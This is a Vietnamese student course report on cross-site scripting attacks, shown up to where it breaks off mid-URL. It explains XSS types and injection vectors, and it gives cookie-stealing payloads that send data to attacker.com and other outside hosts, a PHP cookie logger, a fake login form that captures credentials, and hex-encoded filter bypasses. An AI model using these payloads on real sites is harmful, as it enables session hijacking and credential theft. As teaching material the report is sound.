kỹ thuật tấn công xss

28
CƠ SỞ TP.HCM 1 HC VIN CÔNG NGHBƢU CHÍNH VIỄN THÔNG AN NINH MNG BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG KỸ THUẬT TẤN CÔNG XSS Giảng viên hướng dẫn : ThS. LÊ PHÚC Sinh viên thực hiện : TRẦN ĐÌNH NGỌC MãSV: 407170045 Lớp : D07THM1

Upload: tran-dinh-ngoc

Post on 04-Jul-2015

1.959 views

Category:

Documents


16 download

TRANSCRIPT

Page 1: Kỹ Thuật Tấn Công XSS

CƠ SỞ TP.HCM 1 HỌC VIỆN CÔNG NGHỆ BƢU CHÍNH VIỄN THÔNG AN NINH MẠNG

BÁO CÁO ĐỀ TÀI MÔN HỌC AN NINH MẠNG

KỸ THUẬT TẤN CÔNG XSS

Giảng viên hướng dẫn : ThS. LÊ PHÚC

Sinh viên thực hiện : TRẦN ĐÌNH NGỌC

MãSV: 407170045

Lớp : D07THM1

Page 2: Kỹ Thuật Tấn Công XSS

2 AN NINH MẠNG

Mục lục

I. GIỚI THIỆU CHUNG ................................................................................................. 4

II. GIỚI THIỆU VỀ XSS ................................................................................................. 5

1. Tìm hiểu XSS ........................................................................................................... 5

2. Hai hình thức tồn tại của XSS .................................................................................. 5

2.1. Stored XSS ......................................................................................................... 5

2.2. Reflected XSS .................................................................................................... 6

3. Mức độ nguy hiểm của XSS ..................................................................................... 7

4. Mục tiêu mà XSS hƣớng tới. .................................................................................... 8

III.HOẠT ĐỘNG CỦA XSS ........................................................................................... 9

IV.CẢNH GIÁC VỚI XSS ............................................................................................ 12

V. KIỂM TRA LỖI XSS ............................................................................................... 14

1. Sử dụng Tool .......................................................................................................... 14

2. Thử bằng Code ....................................................................................................... 14

VI. KHAI THÁC LỖI XSS ........................................................................................... 16

1.Tóm tắt các bƣớc thực hiện ..................................................................................... 17

2. Các cách thực hiện .................................................................................................. 18

2.1. Nghiên cứu cách lấy cookies: .......................................................................... 18

2.2.Nghiên cứu cách lấy account. ........................................................................... 18

2.3. Tấn Công XSS Bằng Flash .............................................................................. 19

3. Attacker dùng XSS để lừa đảo ............................................................................... 22

4. Cách vƣợt qua cơ chế lọc ký tự .............................................................................. 22

Page 3: Kỹ Thuật Tấn Công XSS

3 AN NINH MẠNG

VII. PHÒNG CHỐNG XSS ........................................................................................... 23

1. Với những dữ liệu ngƣời thiết kế và phát triển ứng dụng Web ........................... 23

2. Đối với ngƣời dùng. ............................................................................................. 26

VIII. PHẠM VI VÀ TÍNH KHẢ THI CỦA PHƢƠNG PHÁP TẤN CÔNG BẰNG XSS

........................................................................................................................................ 27

IX. ĐÁNH GIÁ .............................................................................................................. 27

TÀI LIỆU THAM KHẢO: ............................................................................................ 28

Page 4: Kỹ Thuật Tấn Công XSS

4 AN NINH MẠNG

I. GIỚI THIỆU CHUNG

Website ngày nay rất phức tạp và thƣờng là các web động, nội dung của web

đƣợc cập nhật thông qua các thành viên tham gia ở khắp mọi nơi trên thế giới. Và

hầu hết các website này dùng Cookie để xác thực ngƣời dùng.

Điều này đồng nghĩa với việc Cookie của ai thì ngƣời đó dùng, Nếu lấy đƣợc

Cookie ngƣời dùng nào Hacker sẽ giả mạo đƣợc chính ngƣời dùng đó(điều này là hết

sức nguy hiểm). Vậy làm sao để các hacker có thể lấy cookie của bạn? Có rất nhiều

cách để các hacker làm việc đó, ở đây tôi xin trình bày một trong những cách mà

hacker thƣờng dùng, đó chính là họ nhờ vào lỗi Cross Site Scripting(XSS).

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất

hiện nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với

các nhà phát triển web và cả những ngƣời sử dụng web. Bất kì một website nào cho

phép ngƣời sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã

nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.

XSS đƣợc thực hiện trên các thẻ JavaScript, và các thẻ JavaScript chúng có thể làm

đƣợc những công việc sau:

1. Thay đổi cấu trúc của toàn bộ trang web.

2. Tạo tùy ý các phần tử HTML.

3. Định tuyến lại các hình thức liên kết

4. Phục hồi dữ liệu, xác thực

5. Gửi và nhận dữ liệu

6. Đọc các tổ hợp phím.

Page 5: Kỹ Thuật Tấn Công XSS

5 AN NINH MẠNG

II. GIỚI THIỆU VỀ XSS

1. Tìm hiểu XSS

Cross-Site Scripting hay còn đƣợc gọi tắt là XSS (thay vì gọi tắt là CSS để tránh

nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách

chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn

mã script nguy hiểm có khả năng đánh cắp hay thiết lập đƣợc những thông tin quan

trọng nhƣ cookies, mật khẩu, usename…. Trong đó, những đoạn mã nguy hiểm đựơc

chèn vào hầu hết đƣợc viết bằng các Client-Site Script nhƣ JavaScript, JScript, DHTML

và cũng có thể là cả các thẻ HTML.

Phƣơng pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính

máy ngƣời sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết

hạn chế của ngƣời dùng cũng nhƣ biết đánh vào sự tò mò của họ dẫn đến ngƣời dùng bị

mất thông tin một cách dễ dàng.

Thông thƣờng hacker lợi dụng địa chỉ URL để đƣa ra những liên kết là tác nhân kích

hoạt những đoạn chƣơng trình đƣợc viết bằng ngôn ngữ máy khách nhƣ VBScript,

JavaScript…đƣợc thực thi trên chính trình duyệt của nạn nhân

2. Hai hình thức tồn tại của XSS

2.1. Stored XSS

Stored XSS là hình thức tấn công mà ở đó cho phép kẻ tấn công có thể chèn

một đoạn script nguy hiểm (thƣờng là Javascript) vào website của chúng ta thông

qua một chức năng nào đó (vd: viết lời bình, guestbook, gởi bài..), để từ đó khi các

thành viên khác truy cập website sẽ bị dính mã độc từ kẻ tấn công này, các mã độc

này thƣờng đƣợc lƣu lại trong database của website chúng ta nên gọi là Stored.

Stored XSS phát sinh do chúng ta không lọc dữ liệu do thành viên gởi lên một cách

đúng đắn, khiến cho mã độc đƣợc lƣu vào Database của website.

Page 6: Kỹ Thuật Tấn Công XSS

6 AN NINH MẠNG

2.2. Reflected XSS

Trong hình thức này, kẻ tấn công thƣờng gắn thêm đoạn mã độc vào URL của

website chúng ta và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính

mã độc. Điều này xảy ra do ta không chú ý filter input từ URL của website mình.

Page 7: Kỹ Thuật Tấn Công XSS

7 AN NINH MẠNG

Tấn công XSS là tấn công nguy hiểm, cho phép kẻ tấn công ăn cắp thông tin trên

máy nạn nhân thông qua javascript nhƣ ăn cắp cookie, chèn mã độc để chiến quyền

điều khiển…

XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi

này, chính vì thế ngày càng có nhiều ngƣời quan tâm đến lỗi này.

Gần đây, theo Brian Krebs của tờ Washington Post báo cáo rằng hàng ngàn trang web

không an toàn đã đƣợc xác định vào năm ngoái, và trang Xssed.com đưa ra danh sách

gần 13.000 trang trong đó có nhiều lỗ hổng cross-site scripting (XSS).

Ví dụ 1: Một đoạn url mà hacker chèn Script vào để lấy cookie của ngƣời dùng.

http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te

xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

3. Mức độ nguy hiểm của XSS

Theo thống kê về các lỗ hổng bảo mật thƣờng bị tấn công nhất vào năm 2009

Page 8: Kỹ Thuật Tấn Công XSS

8 AN NINH MẠNG

Cross-Site Scripting (XSS) chiếm một tỉ lệ rất cao so với các phƣơng pháp tấn công

khác.

Kĩ thuật XSS đƣợc mô tả lần đầu tiên cách đây 5 năm (từ năm 2007 đến 2011) và hầu

hết các khả năng tiềm ẩn của kĩ thuật này đã đƣợc biết đến. Tuy nhiên chúng ta mới

chỉ khắc phục đƣợc một phần của nó. Không phải vô tình mà Yahoo Mail lại để sót

một lỗi XSS trong bộ lọc của mình. Một phƣơng pháp tối ƣu vẫn còn đang ở phía

trƣớc.

4. Mục tiêu mà XSS hướng tới.

XSS khai thác thƣờng đƣợc sử dụng để đạt đƣợc các kết quả độc hại sau đây:

* Truy cập thông tin nhạy cảm hoặc bị hạn chế

* Ăn cắp tiền (giao dịch ngân hàng, mua hàng online….)

* Theo dõi thói quen lƣớt web của ngƣời dùng

* Thay đổi năng của trình duyệt

* Bôi nhọ danh tiếng của một cá nhân hay công ty

* Hủy hoại ứng dụng Web.

* Tấn công từ chối dịch vụ

...

Page 9: Kỹ Thuật Tấn Công XSS

9 AN NINH MẠNG

III.HOẠT ĐỘNG CỦA XSS

XSS cho phép attacker chèn các đoạn mã vào link của đƣờng dẫn, để thực hiện

trên trình duyệt của ngƣời dùng, dẫn đến việc mất cookies, mật khẩu, session hay

chèn virus…

Thƣờng thì XSS có dạng nhƣ sau:

http://www.xxx.vn//index.php?pg=news&cat=<script>alert(“Lỗi XSS”)</script>.

Và nội dung xuất hiện trên trình duyệt là một cái popup có thông tin là „Lỗi XSS‟.

Ở trên ví dụ 1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào

trang Web thông qua URL. Nhƣng thực sự thì có rất nhiều cách để thêm

đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng

lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web

ứng dụng.

Ví dụ 2: Sau đây là danh sách nơi có thể chèn đoạn mã:

<a href= "javas&#99;ript&#35;[code]">

<div onmouseover="[code]">

<img src="javascript:[code]">

<img dynsrc="javascript:[code]">

<input type="image" dynsrc="javascript:[code]">

<bgsound src="javascript:[code]">

&<script>[code]</script>

&{[code]};

<img src=&{[code]};>

<liên kết rel="stylesheet" href="javascript:[code]">

<iframe src="vbscript:[code]">

<img src="mocha:[code]">

<img src="livescript:[code]">

<a href="about:<s&#99;ript>[code]</script>">

<meta http-equiv="refresh" content="0;url=javascript:[code]">

<body onload="[code]">

Page 10: Kỹ Thuật Tấn Công XSS

10 AN NINH MẠNG

<div style="background-image: url(javascript:[code]);">

<div style="behaviour: url([liên kết to code]);">

<div style="binding: url([liên kết to code]);">

<div style="width: expression([code]);">

<style type="text/javascript">[code]</style>

<object classid="clsid:..." codebase="javascript:[code]">

<script>[code]</script>

<img src="blah"onmouseover="[code]">

<img src="blah>" onmouseover="[code]">

<xml src="javascript:[code]">

<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>

(tài liệu từ http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-

15/0)

Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin.

Về cơ bản XSS cũng giống nhƣ SQL Injection hay Source Injection, nó cũng là

các yêu cầu (request) đƣợc gửi từ các máy client tới server nhằm chèn vào đó các

thông tin vƣợt quá tầm kiểm soát của server

Nó có thể là một request đƣợc gửi từ các form dữ liệu hoặc cũng có thể đó chỉ là các

URL nhƣ là :

http://www.example.com/search.cgi?query=<script>alert('XSS was found

!');</script>

Và rất có thể trình duyệt của bạn sẽ hiện lên một thông báo "XSS was found !".

Các đoạn mã trong thẻ script không hề bị giới hạn bởi chúng hoàn toàn có thể

thay thế bằng một file nguồn trên một server khác thông qua thuộc tính src của thẻ

script. Cũng chính vì lẽ đó mà chúng ta chƣa thể lƣờng hết đƣợc độ nguy hiểm của

các lỗi XSS.

Nhƣng nếu nhƣ các kĩ thuật tấn công khác có thể làm thay đổi đƣợc dữ liệu

nguồn của web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối

Page 11: Kỹ Thuật Tấn Công XSS

11 AN NINH MẠNG

với website ở phía client mà nạn nhân trực tiếp là những ngƣời khách duyệt site đó.

Tất nhiên đôi khi các hacker cũng sử dụng kĩ thuật này đề deface các website nhƣng

đó vẫn chỉ tấn công vào bề mặt của website.

Thật vậy, XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi

trình duyệt phía client do đó XSS không làm ảnh hƣởng đến hệ thống website nằm

trên server.

Mục tiêu tấn công của XSS không ai khác chính là những ngƣời sử dụng khác

của website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các

hacker để lại họ có thể bị chuyển tới các website khác, đặt lại homepage, hay nặng

hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus,

backdoor, worm ...

Trong kĩ thuật XSS thƣờng thì các link mà hacker dùng đều đã đƣợc mã hóa nên

ngƣới dùng khó mà phát hiện ra. Sau đây là cách mã hoá(HEX) các kí tự thƣờng

dùng trong lỗi XSS của thanh AddressBar của Browser.

Page 12: Kỹ Thuật Tấn Công XSS

12 AN NINH MẠNG

Ví dụ 3: Một địa chỉ đã đƣợc mã hóa HEX.

http://vieclambank.com/search.php?s=">%3C%73%63%72%69%70%74%20%73%

72%63%25%33%44%68%74%74%70%25%33%41%25%32%46%25%32%46%6A

%73%6E%67%6F%63%2E%76%6E%6E%2E%6D%73%25%32%46%78%73%73

%2E%6A%73%3E%3C%25%32%46%73%63%72%69%70%74%3E

IV.CẢNH GIÁC VỚI XSS

Có lẽ không cần liệt kê những nguy hiểm của XSS, nhƣng trên thực tế nếu bạn

có một chút hiểu biết về XSS bạn sẽ không còn phải sợ chúng nữa. Thật vậy bạn

hoàn toàn có thể tránh khỏi việc bị tấn công bởi những lỗi XSS nếu hiểu kĩ về nó.

Các thẻ HTML đều có thể là công cụ cho các cuộc tấn công bởi kĩ thuật XSS,

trong đó 2 thẻ IMG và IFRAME có thể cho phép trình duyệt của bạn load thêm các

website khác khi các lệnh HTML đƣợc hiển thị. Ví dụ nhƣ BadTrans Worm một loại

worm sử dụng thẻ IFRAME để lây lan trong các hệ thống có sử dụng Outlook hay

Outlook Express:

--====_ABC1234567890DEF_====

Content-Type: multipart/alternative;

boundary="====_ABC0987654321DEF_===="

--====_ABC0987654321DEF_====

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>

<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>

</iframe></BODY></HTML>

--====_ABC0987654321DEF_====--

--====_ABC1234567890DEF_====

Page 13: Kỹ Thuật Tấn Công XSS

13 AN NINH MẠNG

Content-Type: audio/x-wav;

name="filename.ext.ext"

Content-Transfer-Encoding: base64

Content-ID: <EA4DMGBP9p>

Đôi khi đang đọc thƣ bạn bị chuyển sang một website khác, bạn có nghĩ rằng

bạn có thể mất mật khẩu. Trƣớc đây, hàng loạt các hộp thƣ của Yahoo bị mất mật

khẩu hay bị đọc trộm thƣ mà không rõ nguyên nhân. Có lẽ khi đó các bạn mở các bức

thƣ mà không hề cảnh giác với XSS, đâu phải chỉ các file đính kèm mới có thể gây

nguy hiểm cho bạn. Chỉ cần với một đoạn mã HTML gửi trong thƣ bạn đã hoàn toàn

bị mất cookie của mình:

<form action="http://attacker.com/save.asp" method="post" name="XSS">

<input type="hidden" name="cookie">

</form>

<img border="0" onmouseover="window.document.XSS.cookie.value =

document.cookie; window.document.XSS.submit();" src="none.jpg">

Vậy là khi bạn nhận thƣ, và nếu bạn vô tình đƣa con chuột qua bức ảnh gửi kèm

thì cũng có nghĩa là bạn đã bị lấy mất cookie. Và với cookie lấy đƣợc, các hacker có

thể dễ dàng login hòm thƣ của bạn mà không cần biết mật khẩu của bạn. Thực sự tôi

cũng rất bất ngờ khi tìm thấy rằng Yahoo khi đó đã ngăn đƣợc hầu hết các mối đe

doạ từ các thẻ HTML lại bỏ qua thẻ IMG. Tuy nhiên cho tới ngày 12/7/2003 Yahoo

đã kịp thời vá lỗ hồng nghiêm trọng này, nhƣng không phải vì vậy mà bạn mất cảnh

giác với những "lỗi" của website. Nếu nhƣ bạn gặp một liên kết có dạng:

http://example.com/s...document.cookie)</script>

Chắc chắn bạn sẽ phải xem xét kĩ trƣớc khi click vào. Có thể là sẽ tắt JavaScript

cho trình duyệt của bạn trƣớc khi click vào hay ít nhất cũng có một chút cảnh giác.

Nhƣng nếu bạn gặp một liên kết nhƣ thế này thì sao:

http://example.com/s...72%79%3D<script>

Page 14: Kỹ Thuật Tấn Công XSS

14 AN NINH MẠNG

Đó thực chất chính là liên kết ban đầu nhƣng chỉ khác nó đã đƣợc mã hoá. Một

phần kí tự của liên kết đã đƣợc thay thế bởi mã HEX của nó, tất nhiên trình duyệt của

bạn vẫn hiểu địa chỉ đó thực sự là gì. Bởi vậy bạn có thể sẽ gặp phải các đoạn mã

nguy hiểm nếu nhƣ bạn mất cảnh giác với XSS.

Tất nhiên còn rất nhiều những kiểu tấn công khác, trong đó có những kiểu đã

đƣợc tìm ra có những kiều chƣa lƣờng hết đƣợc, những trong khuôn khổ bài viết này

tôi hi vọng với một vài ví dụ vừa rồi, các bạn cũng đã hiểu phần nào về XSS.

V. KIỂM TRA LỖI XSS

Nếu nhƣ các bạn sử dụng các mã nguồn của các chƣơng trình có sẵn bạn

có thể tham khảo danh sách các lỗ hổng của chƣơng trình bạn trên các trang web

chứa các thông tin về bảo mật nhƣ securityfocus.com, securiteam.com... Tuy nhiên

nếu các website đƣợc tự viết mã nguồn thì bạn không thể áp dụng phƣơng pháp trên.

Trong trƣờng hợp này bạn cần đến các chƣơng trình scanner tự động. Nếu nhƣ bạn sử

dụng trong môi trƣờng Windows bạn có thể dùng N-Stealth hay AppScan, đó là

những chƣơng trình scan khá tuyệt, bạn không chỉ kiểm tra đƣợc các lỗi XSS mà nó

còn cho phép bạn kiểm tra các lỗi khác trong Website đó, Server đó.

Tất nhiên đâu phải lúc nào bạn cũng cần kiểm tra tất cả, nếu nhƣ bạn chỉ muốn kiểm

tra các lỗi XSS có trong website, bạn chỉ cần sử dụng screamingCSS. Đó là một Perl

Script sẽ mở các kết nối tới website (sử dụng Perl's socket) để kiểm tra các lỗi XSS

của bạn. Hơn nữa bạn có thể sử dụng nó trong cả môi trƣờng Unix lẫn Windows.

Và chúng ta có thể đưa ra hai cách chính sau:

1. Sử dụng Tool

Sử dụng nhiều chƣơng trình dò quét lỗi của ứng dụng web, ví dụ nhƣ chƣơng

trình Web Vulnerability Scanner để dò quét lỗi XSS.

2. Thử bằng Code

Thực hiện 5 bƣớc:

Bước 1: Mở website cần kiểm tra

Bước 2: Xác định các chỗ (phần) cần kiểm tra XSS. 1 Site bất kỳ bao giờ cũng có

Page 15: Kỹ Thuật Tấn Công XSS

15 AN NINH MẠNG

các phần: Search, error message, web form. Chủ yếu lỗi XSS nằm ở phần này, nói

chung XSS có thể xảy ra ở chỗ nào mà ngƣời dùng có thể nhập dữ liệu vào và sau

đó nhận đƣợc một cái gì đó. Ví dụ chúng ta nhập vào chuỗi „XSS‟

Bước 3: Xác minh khả năng site có bị lỗi XSS hay không bằng cách xem các

thông tin trả về. Ví dụ chúng ta thấy thế này: „Không tìm thấy XSS…‟ , hay là

„Tài khoản XSS không chính xác‟, „Đăng nhập với XSS không thành công‟… thì

khi đó khả năng chỗ đó bị dính XSS là rất cao.

Bước 4: Khi đã xác định chỗ có khả năng bị dính lỗi XSS thì chúng ta sẽ chèn

những đoạn code của chúng ta vào để thử tiếp, ví dụ nhƣ sau:

Chèn đoạn code này: < script>alert('XSS')< /script> vào ô bị lỗi và nhấn nút

Submit, nếu chúng ta nhận đƣợc một popup có chữ „XSS‟ thì 100% bị dính XSS.

Ta có thể nhập vào form lỗi các thẻ sau:

<script>alert('CSS Vulnerable')</script>

<i*g csstest=javascript:alert('CSS Vulnerable')>

&{alert('CSS Vulnerable') };

<script>window.open( “http://www.google.com/” )</script>

<META HTTP-EQUIV="refresh"

CONTENT="0;url=javascript:alert('XSS');">

<EMBED SRC="http://ha.ckers.org/xss.swf"

AllowScriptAccess="always"></EMBED>

Ví dụ 4: Thông báo cho biết chắc chắn web đã bị lỗi XSS.

Page 16: Kỹ Thuật Tấn Công XSS

16 AN NINH MẠNG

Nhƣng xin chú ý , thỉnh thoảng vẫn có trƣờng hợp website đó bị dính XSS

nhƣng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES

(mổ bụng) nó ra để xem .

Khi view sources nhớ kiếm dòng này < script>alert('XSS)< /script> , nếu có

thì chắc chắn là website đó lỗi XSS 100%.

Gọi http://websitebiloi.com/ là site bị dính lỗi XSS và ta tìm đƣợc nơi bị lỗi nhƣ

thế này : http://websitebiloi.com/index.php?page=<script...< script=""> nghĩa là

ta có thể chèn code ngay trên thanh ADDRESS.

Bước 5: Lên kế hoạch kịch bản tấn công

VI. KHAI THÁC LỖI XSS

Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại

không gây hại đến hệ thống của sever mà đối tƣợng tấn công chủ yếu của XSS lại là

ngƣời dùng!

Ứng dụng Web thƣờng lƣu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông

tin mà ứng dụng lƣu trên đĩa cứng của ngƣời sử dụng. Nhƣng chỉ ứng dụng thiết lập

ra cookie thì mới có thể đọc nó. Do đó chỉ khi ngƣời dùng đang trong phiên làm việc

của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên

của hacker là tìm trang đích để dụ ngƣời dùng đăng nhập sau khi đã tìm ra lỗ hổng

trên ứng dụng đó.

Sau đây là các bƣớc khai thác XSS theo truyền thống:

Page 17: Kỹ Thuật Tấn Công XSS

17 AN NINH MẠNG

1.Tóm tắt các bước thực hiện

Bước 1: Hacker biết đƣợc ngƣời dùng đang sử dụng một ứng dụng Web có lỗ

hỏng XSS.

Bước 2: Ngƣời dùng nhận đƣợc 1 liên kết thông qua email hay trên chính trang Web

(nhƣ trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…).

Thông thƣờng hacker khiến ngƣời dùng chú ý bằng những câu kích thích sự tò mò của

ngƣời dùng nhƣ “ Kiểm tra tài khoản”, “Một phần thƣởng hấp dẫn đang chờ bạn”…

Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ

của hacker.

Bước 4: Hacker tạo một chƣơng trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một

trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin

Bước 5: Sau khi nhận đƣợc thông tin cần thiết, hacker có thể sử dụng để thâm

nhập vào tài khoản của ngƣời dùng.

Page 18: Kỹ Thuật Tấn Công XSS

18 AN NINH MẠNG

2. Các cách thực hiện

Để hiểu rõ hơn về các tấn công XSS chúng ta xem xét ví dụ thực tế sau:

2.1. Nghiên cứu cách lấy cookies:

Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn.

Thứ hai: Tạo file cookie.asp hoặc cookie.php có nội dung sau và upload file

này lên host của bạn nhƣ sau:

Thứ ba: Trên những phần trả lời hay góp ý trên diễn đàn hoặc email hoặc website

(bị lỗi XSS) chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có

hostname là của trang web bị nhiễm XSS) dạng nhƣ sau :

http:// hostxss.com /search.cgi?query=<script>alert(document.cookie)</script>

hoặc http:// hostxss.com /search.cgi?%71%75...72%69%70%74%3E (đã đƣợc mã

hóa)

2.2.Nghiên cứu cách lấy account.

Thứ nhất: Bạn hãy tạo một file info.txt và upload lên host của bạn.

Thứ hai: Tạo thêm một file xss.js và cũng upload file này lên host của bạn:

File này là để tạo ra một facesite (trang web giả giống trang web thật)

để khi ngƣời dùng nhập username và password thì chúng ta sẽ điều hƣớng và

lƣu thông tin trên file info.txt.

<?php

$cookie = $_GET['c'];

$ip = getenv('REMOTE_ADD');

$date = date("j F, Y, g:i, a");;

$referer = getenv('HTTP_REFERER');

$fp = fopen('info.txt','a');

fwrite($fp,'Cookie: '.$cookie. 'IP:' .$ip. 'date:' .$date. 'Referer: '.$referer.' ');

fclose($fp);

header("location: http:// hostxss.com /");

?>

Page 19: Kỹ Thuật Tấn Công XSS

19 AN NINH MẠNG

Thứ ba: Chúng ta để một link có lời giới thiệu hay thông báo gây chú ý (có

hostname là của trang web bị nhiễm XSS) . Khi đó tạo một link dạng nhƣ sau và

gửi mail hay up link lên trang web có nhiễm XSS: (sau hostname ta thêm thẻ Script

vào)

http:// hostxss.com /search.php?s="> <script

src%3Dhttp%3A%2F%2Fjsngoc.vnn.ms%2Fxss.js><%2Fscript>

Khi đó bên phía ngƣời dùng sẽ có một trang web giả mạo(face site): Ngƣời

dùng không phát hiện ra và khi đăng nhập thì cookie hay usename và password sẽ

đƣợc lƣu lại trong file info.txt trên server của hacker.

2.3. Tấn Công XSS Bằng Flash

Ngoài những cách đƣa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng

những tập tin flash để đánh cắp thông tin.

Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã đƣợc xây

dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tƣơng tự

nhƣ JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web

khác, tham số thƣờng là một URL chẳng hạn nhƣ “http://www.yahoo.com”.

Ví dụ 5: getURL(“http://www.yahoo.com”)

Tuy nhiên có thể thay thế URL bằng JavaScript:

getURL(“javascript:alert(document.cookie)”)

document.body.innerHTML=„

<img src=images/system/logo_main.gif alt=VieclamBank width=230 height=48

border=0>

<BR><br><br>

<center>Thông tin đăng nhập<BR>

<form action=http://www.hostupfile.com/cookie.php

method=POST><table><TR><TD>Tên đăng nhập:</TD><TD><input

name=ten></TD></TR><TR><TD>Mật khẩu:</TD><TD><input name=mk

type=password></TD></TR><TR><TD></TD><TD><input type=submit

value=Login></TD></TR></table></form>

</center>'

Page 20: Kỹ Thuật Tấn Công XSS

20 AN NINH MẠNG

Ví dụ trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập

tin flash đó. Nhƣ vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn

JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về

cách tấn công này là: Đây là đoạn lệnh trong tập tin flash và sẽ đƣợc thi hành khi

tập tin flash đƣợc đọc:

getURL(“javascript:location(„http://www.attacker.com?newcookie=‟+do

cument.cookie)”)

Nhƣ vậy là khi ngƣời dùng xem trang web chứa tập tin flash này thì ngay

lập tức cookie của họ do trang web chứa tập tin flash đó tạo ra sẽ gửi về cho hacker.

Cách viết Action Scipt trong Flash

DeviantArt là một trang web nổi tiếng, cho phép thành viên của nó gửi các tập

tin flash lên cho mọi thành viên cùng xem. Vì thế hacker có thể ăn cắp cookie của

các thành viên và cũng có thể là tài khoản của ngƣời quản trị web, bằng cách đăng

kí làm thành viên của ứng dụng Web này, gửi tập tin flash lên máy chủ và đợi các

nạn nhân xem tập tin flash đó. Dƣới đây là địa chỉ liên kết dến một tập tin flash nhƣ

đã trình bày trong ví dụ trên.

http://www.deviantart.com/deviation/1386080

Ngoài ra các trang web cho phép thành viên gửi dữ liệu dạng HTML nhƣ diễn

đàn, các chức năng tạo chữ kí riêng, … cũng có thể là mục tiêu của cách tấn công

này, bằng cách nhập đoạn mã gọi tập tin flash vào.

<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-

444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flas

Page 21: Kỹ Thuật Tấn Công XSS

21 AN NINH MẠNG

h/s

wflash.cab#version=6,0,0,0"

WIDTH="60"

HEIGHT="48"

id="1"

ALIGN="">

<PARAM NAME=movie

VALUE="http://www.ke_tan_cong.com/vidu.swf">

<PARAM NAME=quality VALUE=high>

<PARAM NAME=bgcolor VALUE=#FF9900>

<EMBED src=" http://www.ke_tan_cong.com/vidu.swf"

quality=high

bgcolor=#FF9900

WIDTH="60"

HEIGHT="48"

NAME="1"

ALIGN=""

TYPE="application/x-shockwave-flash"

PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">

</EMBED>

</OBJECT>

Page 22: Kỹ Thuật Tấn Công XSS

22 AN NINH MẠNG

3. Attacker dùng XSS để lừa đảo

Ngoài việc lấy cookies, các attacker còn có thể hƣớng trình duyệt của ngƣời dùng

đến trang web mà Attacker thiết kế sẵn!

Sau khi attacker đã có thông tin về lỗi XSS, họ có thể dùng IFRAME, code nhƣ sau:

<br /><br /><div class="code"><iframe src="'http://www.attacker.com'"

width="'1'" height="'1'" style="'visibility;"></iframe></div><br /><br />

( đoạn này dùng để mở 1 trang web mà ngƣời không biết!)

<br /><br /><div class="code"><meta equiv="Refresh"

content="0;url=http://www.attacker.com"></div><br /><br />

Ngoài ra bạn hoàn toàn có thể dùng hàm open, close window để chuyển hƣớng web

sang một trang web khác bạn muốn.

Còn cách này hay hơn : Dùng hàm write. In ra một thẻ div đặt độ rộng là 1024, cao

800. possion : absulitly, left=0, top=0. Nhƣ vậy là cái div vừa tạo sẽ che toàn bộ màn

hình, thế là ngƣời dùng đã vào trang lừa đảo của các attacker!

Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game,

shopping, Ngân hàng, Tín dụng... hoặc là chèn virus!

4. Cách vượt qua cơ chế lọc ký tự

Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt nhƣ ' hay + để tránh các việc chèn

lệnh trên URL để tấn công SQL hay XSS nhƣng một attacker cao tay sẽ dễ dàng giải

quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác

-----------------------------------

Hex Usage:

http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%

74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%

Page 23: Kỹ Thuật Tấn Công XSS

23 AN NINH MẠNG

3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63

